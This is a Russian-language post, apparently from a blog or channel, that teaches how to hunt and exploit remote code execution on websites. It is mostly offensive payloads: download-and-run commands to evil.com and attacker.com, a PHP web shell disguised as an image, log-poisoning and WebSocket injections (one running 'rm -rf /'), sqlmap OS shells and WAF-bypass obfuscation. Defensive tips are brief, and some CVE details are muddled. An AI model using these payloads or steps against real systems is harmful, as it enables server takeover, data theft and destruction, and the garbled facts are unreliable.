⚔️ RCE-атаки в дикой природе ⚔️
}Marka{"Ты не ждёшь RCE — RCE ждёт тебя"
Давайте разберемся что это за зверь такой и как его найти
RCE (Remote Code Execution) — это уязвимость, которая позволяет злоумышленнику выполнить любой код на твоём сервере.
👤 Стандартные примеры жертв:
- WordPress-сайты (плагины вроде Elementor, WooCommerce).
- Корпоративные VPN (Citrix, Pulse Secure).
- Веб-серверы (Apache, Nginx с кривыми конфигами).
- Форумы (phpBB, vBulletin).
💥 Как это работает?
1️⃣ Находка дыры: Хакер ищет софт, где можно передать данные без проверки (например, поле для загрузки файлов или параметр в URL).
2️⃣ Инъекция кода: Через уязвимость отправляется вредоносный payload (например, ; curl http://evil.com/backdoor.sh | bash).
3️⃣ Взлом: Сервер выполняет команду → злоумышленник получает контроль.
Реальные случаи:
- Citrix CVE-2019-19781: Через дыру в VPN можно было получить шелл на корпоративном сервере.
- WordPress Plugin RCE: В плагинах находили уязвимости, где через "невинное" поле для картинки можно было загрузить PHP-шелл.
Как их искать и на что смотерть ?
🔍 Этап 1: Выбор цели
Куда смотреть в первую очередь:
✅ Веб-приложения (формы загрузки файлов, параметры URL, API)
✅ Популярные CMS (WordPress, Joomla, OpenCart)
✅ Корпоративный софт (VPN, SIEM-системы, BI-платформы)
✅ API (особенно с самописной логикой)
Где искать свежие цели:
- CVE Details — база по уязвимостям
- Exploit-DB — готовые эксплоиты
- GitHub (поиск по
CVE-2023-* RCE PoC)
💉 Этап 2: Fuzzing — "тыкаем палкой в код"
Суть проста: Отправляем случайные/некорректные данные, чтобы спровоцировать ошибку.
Методы:
- Подмена параметров в URL
# Было: https://site.com/download?file=report.pdf # Стало: https://site.com/download?file=../../../../etc/passwd
Ищем Path Traversal → если сервер отдаёт файлы, можно добраться до конфигов.
2. Инъекции в input-поля
# Вместо email подставляем: '; $(curl attacker.com/shell.sh); #
Если сервер "съест" кавычки — возможно RCE.
Загрузка файлов с обходом проверок
- Меняем Content-Type:
image/jpg→text/php - Подменяем расширение:
shell.jpg.php - Используем Burp Suite или OWASP ZAP для перехвата запросов.
📌 Этап 3: Анализ ответов сервера
Ищем "красные флаги":
- Странные ошибки (например, вывод системных команд в логах).
- Неожиданные задержки (если сервер выполняет
sleep 5, значит, команда сработала). - Изменения в файлах (например, внезапно появился
/uploads/tmp.php).
Инструменты:
- Burp Suite (анализ запросов/ответов)
- Grep (поиск ключевых слов в коде:
eval(,system(,exec()
💣 Этап 4: Эксплуатация (если что-то нашли)
Пример для WordPress-плагина:
- Находим форму загрузки аватара.
2. Загружаем файл exploit.jpg с содержимым:
<?php system($_GET['cmd']); ?>
3. Сервер сохраняет его как /wp-content/uploads/exploit.jpg
4. Переходим по ссылке:
https://site.com/wp-content/uploads/exploit.jpg?cmd=id
Если видим вывод uid=33(www-data) — у нас RCE!
🦠 "Зоопарк" RCE-уязвимостей: неочевидные векторы
Помимо стандартных путей (типа загрузки файлов), RCE можно найти в самых неожиданных местах:
- Логи сервера
Если в логах (например, access.log) сохраняются User-Agent или Referer, можно подставить в них PHP-код:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://victim.com
А потом открыть /var/log/nginx/access.log?cmd=id.
- Парсинг PDF/Excel
Уязвимости в библиотеках (например, Apache POI) позволяют внедрить код через "безобидный" файл.
Пример: Уязвимость CVE-2021-45046 в Log4j работала даже через названия файлов.
- Веб-сокеты
Если сервер использует WebSockets с самописной логикой, можно попробовать инъекцию через ws://:
new WebSocket("ws://victim.com:8080/'; eval(require('child_process').exec('rm -rf /'); //");
🕵️♂️ Профильные инструменты для хантингa
Для фаззинга:
- ffuf — подбор параметров:
ffuf -w payloads.txt -u "http://site.com/FUZZ" -mr "root:"
- SQLmap (да, он не только для SQLi!):
sqlmap -u "http://site.com/?id=1" --os-shell
Для анализа кода:
- Semgrep — поиск опасных функций в исходниках:
semgrep --config=p/php -e "system($...)" /var/www/html/
Для эксплуатации:
- Interactsh — детектинг "слепых" RCE:
curl "http://victim.com/?cmd=ping%20$(whoami).oast.pro"
Если сервер делает DNS-запрос — уязвимость есть.
💡 Продвинутые техники
- Bypass WAF (как обходить защиту):
Разбиваем команду на части:
# Вместо: cat /etc/passwd # Пишем: c""at /e??/pa??wd
Используем переменные:
a=cat; b=/etc/passwd; $a $b
- Безфайловые RCE (в память процесса):
Через Python:
import os; os.system("id")
- Через Node.js:
require('child_process').exec('whoami')
🎯 Финальный чеклист
- Проверить все поля ввода (реально все).
- Протестировать загрузку файлов (включая SVG, XML).
- Искать
eval(),popen(),deserialize()в коде. - Попробовать цепочки уязвимостей (например, LFI → RCE).
🛡️ Как не попасться?
Для разработчиков:
- Никогда не доверяй пользовательскому вводу.
- Используй
escapeshellarg()для команд. - Запрети выполнение PHP в uploads-директории.
На этом все. Всем спасибо за просмотр, а если нужен специалист с кибербезопасности то обращайтесь напрямую - @Marka_kol